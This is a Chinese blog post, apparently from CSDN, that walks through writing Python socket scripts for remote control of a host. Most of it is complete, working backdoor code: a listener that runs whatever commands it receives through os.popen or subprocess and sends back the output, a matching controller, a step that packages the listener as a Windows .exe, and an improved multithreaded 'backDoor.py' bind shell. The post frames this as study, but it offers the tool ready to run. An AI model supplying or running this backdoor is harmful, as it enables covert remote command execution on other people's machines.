Python实现Socket通信建立TCP反向连接
作者:Tr0e 发布时间:2023-11-13 04:20:19
前言
本文将记录学习基于 Socket 通信机制建立 TCP 反向连接,借助 Python 脚本实现主机远程控制的目的。
我们在传输数据时,可以只使用(传输层)TCP/IP 协议,但是那样的话,如果没有应用层,便无法识别数据内容,如果想要使传输的数据有意义,则必须使用到应用层协议,应用层协议有很多,比如 HTTP、FTP、TELNET 等,也可以自己定义应用层协议。而 Socket 是对 TCP/IP 协议的封装,Socket 本身并不是协议,而是一个调用接口(API),通过 Socket 我们才能使用 TCP/IP 协议。
HTTP 连接与 Socket 连接的区别
HTTP 是短连接,Socket (基于 TCP 协议的)是长连接。尽管 HTTP1.1 开始支持持久连接,但仍无法保证始终连接。而 Socket 连接一旦建立 TCP 三次握手,除非一方主动断开,否则连接状态一直保持。
HTTP连接,服务端无法主动发消息,Socket 连接,双方请求的发送无先后限制。这点就比较重要了,因为它将决定二者分别适合应用在什么场景下。HTTP 采用“请求-响应”机制,在客户端还没发送消息给服务端前,服务端无法推送消息给客户端。必须满足客户端发送消息在前,服务端回复在后。Socket 连接双方类似 peer2peer 的关系,一方随时可以向另一方喊话。
什么时候该用 HTTP,什么时候该用 Socket?
用 HTTP 的情况:双方不需要时刻保持连接在线,比如客户端资源的获取、文件上传等。
用 Socket 的情况:大部分即时通讯应用(QQ、微信)、聊天室、苹果APNs等。
Python3 关于 Socket 网络编程的相关语法知识可以参见:Python3 网络编程。
远程控制
下面开始来看看如何借助 Python 实现对目标主机的远程控制。
脚本编写
ServerAttack.py 受控端脚本如下:
import socket
import os
ip = "" # 空表示可连接所有主机
port = 5555 # 设置端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 对象s 使用基于tcp协议的网络套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 关闭后不需要保存状态可以立即开启
s.bind((ip, port)) # 对象s 开始绑定ip和端口
s.listen(10) # 启动监听状态,设置队列中等待连接服务器的最大请求数10
conn, addr = s.accept() # 当与别人建立连接 addr,conn 变量分别存对方ip和连接的对象
print("已建立远程连接:", addr) # 显示对方地址
while True:
data = conn.recv(1024) # 接收对方字符串 #如果对方不发数据会卡住
if data == b"q": # 接收到程序终止信号则中断连接
break
data = str(data, encoding="utf8") # 将数据转换为字符串类型
print("远程主机请求的命令:", data)
f = os.popen(data) # 可以将命令的内容以读取的方式返回
data2 = f.read()
if data2 == "":
conn.send(b"finish")
else:
conn.send(bytes(data2, encoding="utf8")) # 发送命令运行结果
conn.close() # 断开连接
s.close() # 关闭套结字
ClientAttack.py 控制端脚本如下:
import socket
ip = "192.168.146.126" # 对方服务器ip地址
port = 5555 # 对方服务器的端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 对象s使用基于tcp协议的网络套接字
s.connect((ip, port)) # 创建socket连接
while True:
data = input("请输入命令:")
data = bytes(data, encoding="utf8")
s.send(data) # 发送数据给对方
data2 = s.recv(1024) # 接收返回的数据
print(str(data2, encoding="utf8"))
if data == b"q":
break
s.close()
效果演示
1、Linux 远控
将 ServerAttack.py 受控端脚本拷贝至 Linux 系统并运行,同时 Win10 物理机运行 ClientAttack.py 控制端脚本,可实现远程连接控制:
2、Windows 远控
使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可执行文件(pyinstaller -F ServerAttack.py
),然后在 Win7 虚拟机运行生成的 ServerAttack.exe 文件,效果如下:
脚本优化
下面使用多线程、脚本参数设置、脚本帮助提示、客户端服务端代码集成来优化上述实现远程控制的脚本。
getopt ()
Python 中 getopt 模块是专门用来处理命令行参数的,函数格式:
getopt(args, shortopts, longopts = [])
参数解析如下:
参数 | 释义 | 补充 |
---|---|---|
args | 要解析的参数列表 | 一般是sys.argv[1:] ,表示获取的参数不包括当前执行的 python 脚本名称 |
shortopts | 要识别的短格式 (-) 选项字符串,如果后接: 表示需要给定参数 | 如ab:c: ,表示识别 -a, -b 和 -c 的短选项,其中 -b 和 -c 需要后接参数 |
longopts = [] | 要识别的长格式(–)选项,如果后接= 表示需要给定参数 | 如[“help”, “user=”, “password=”],表示识别--help, --user=root, --password=123456 的长选项 |
函数返回值由两个元素组成:
第一个是 (option, value) 元组的列表,(option, value) 元组中的 option 表示包含
-或--
前缀的选项,value 表示该 option 对应的参数,可以为空字符串表示无参数;第二个是 args 剥离短选项及其参数和长选项及其参数之后剩余的参数列表。
完整代码
import socket
import getopt
import sys
import subprocess
from threading import Thread
def main():
target = "" # 目标IP
port = 0 # 目标端口
listen = False
help = False
# 利用getopt模块从命令行获取参数,sys.argv[1:]可以过滤掉第一个参数(第一个参数是脚本的名称,它不应该作为参数进行解析)
opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
for o, a in opts:
if o == "-t":
target = a
elif o == "-p":
port = int(a)
elif o == "-h":
help = True
elif o == "-l":
listen = True
else:
# 断言,传入的参数有误
assert False, "Unhandled Option"
# 输出帮助文档
if help:
usage()
# 获分客户端和服务端
if listen:
server_handle(port)
else:
client_handle(target, port)
# 受控端
def server_handle(port):
# 创建socket通道
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定
server.bind(('0.0.0.0', port))
# 监听
server.listen(10)
print("[*] Listening on 0.0.0.0:%d" % port)
while True:
client_socket, addr = server.accept()
print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
t = Thread(target=run_command, args=(client_socket, server,))
t.start()
# 控制端,发送命令,接收受控端命令行的回显内容
def client_handle(target, port):
# 创建socket通道
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接服务器
client.connect((target, port))
# 接收数据
while True:
recv_len = 1
# 接收到的数据是utf-8
resBuffer = "".encode('utf-8')
while recv_len:
data = client.recv(4096)
recv_len = len(data)
resBuffer += data
if recv_len < 4096:
break
# 在windows下中文会乱码,所以转成GBK
print(resBuffer.decode('gbk'), end="")
# 接收命令,发送命令需要将命令转成byte,并且编码是utf-8
buffer = input("")
if buffer.encode('utf-8') == b"quit":
break
buffer += "\n"
client.send(buffer.encode('utf-8'))
client.close()
# 执行命令涵数
def run_command(client_socket,s):
while True:
# 发送命令给客户端
client_socket.send(b"shell_>")
# 定义接收命令byte类型变量
cmd_buffer = "".encode('utf-8')
# 接收客户端发过来的消息,直到预到换行,代表客户端消息输入完成
while b"\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
if cmd_buffer == b"quit":
break
# 将完整的byte变量消息转成字符串
cmd_buffer = cmd_buffer.decode()
try:
# 通过隧道执行命令并以byte数据类型返回输出的数据
out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
# 将返回的数据发送给客户端
client_socket.send(out)
except:
client_socket.send(b"faild to execute the command")
client_socket.close() # 断开连接
s.close() # 关闭套结字
exit(0)
# 输出帮助信息
def usage():
print("help info : python backDoor.py -h")
print("client : python backDoor.py -t [target] -p [port]")
print("server : python backDoor.py -lp [port]")
print("Exit :Input quit to exit ")
sys.exit()
if __name__ == "__main__":
main()
效果演示
获取脚本帮助提示、进行远程连接:
来源:https://blog.csdn.net/weixin_39190897/article/details/119755117


猜你喜欢
- 目录一、什么是 socket ?二、Socket 编程的重要概念① IP 地址② TCP/IP 端口③ 协议三、socket 编程的 API
- xhtml+css页面制作过程中问题的解决方案,说是解决方案应该有点过了,充其量只不过是给刚刚开始学标准页面制作的朋友们的一些小建议,如果讲
- 方法一通过斜率关系计算,公式如下图:需注意在求斜率时不要出现竖直情况,python计算会报错,但按理说应该可以计算出无穷的,此处先放这吧,等
- 一旦你已经为MySQL实例管理器设置了一个密码文件并且IM正在运行,你可以连接它。你可以使用mysql客户端工具通过标准MySQL API来
- 背景:工作过程中需要对现有的机器、服务做监控,当服务出现问题后,邮件通知对应的人问题:使用python 2.7自带的email库来进行邮件的
- matplotlibmatplotlib是最流行的python底层绘图库,接下来就由小编为大家介绍一些关于matplotlib的一些基本图形
- 作为语言模型和文本挖掘中的常用工具,Word2Vec也可以用来构建聊天机器人。在本文中,我们将使用Python和Gensim库从头开始构建一
- Notebook 修改字体和大小原理很简单,就是更改CSS文件原本的字体很难看,尤其是 引号😡我推荐两款字体,Consolas 和 Fira
- 1. 准备工作下载源码包wget http://python.org/ftp/python/2.7.3/Python-2.7.3.tar.b
- 本文实例讲述了关于php中SimpleXML 函数的用法,此函数是允许您把 XML 转换为对象,分享给大家供大家参考。具体分析如下:Simp
- 接口(python 中的协议)的多种不同的实现方式即为多态。多态的作用,就是为了类在继承和派生的时候,保证使用“家谱”中任一类的实例的某一属
- 进入主题1.import turtle as timport matht.pensize(3)t.tracer(10)t.hideturtl
- 本文实例讲述了基于python编写的微博应用,分享给大家供大家参考。具体如下:在编写自己的微博应用之前,先要到weibo开放平台申请应用的公
- asp连接sql 第一种写法: 代码如下: MM_conn_STRING = "Driver={SQL Server};serv
- 本文实例为大家分享了python实现简易动态时钟的具体代码,供大家参考,具体内容如下from turtle import *from dat
- 这里示范的验证码都是简单的,你也可以把字符扭曲Python第三方库无比强大,PIL 是python的一个d第三方图片处理模块,我们也可以使用
- 1、matplotlib支持的颜色格式1.RGB 或者 RGBA 元组格式颜色元组中浮点型数值位于 [0, 1] 之间,e.g(0.1, 0
- 一、什么是跨域?跨域问题的出现是因为浏览器的同源策略问题。所谓同源就是必须有以下三个相同点:协议相同、主机相同、端口相同。如果其中有一项不同
- 各种asp字符串处理函数,包括:把字符串换为char型数组,把一个数组转换成一个字符串,检查源字符串str是否以chars开头,检查源字符串
- Python是一种非常实用的高级编程语言,它的易读性和简洁性使其成为初学者的首选语言。然而,Python的功能远不止于此,它的强大库支持使其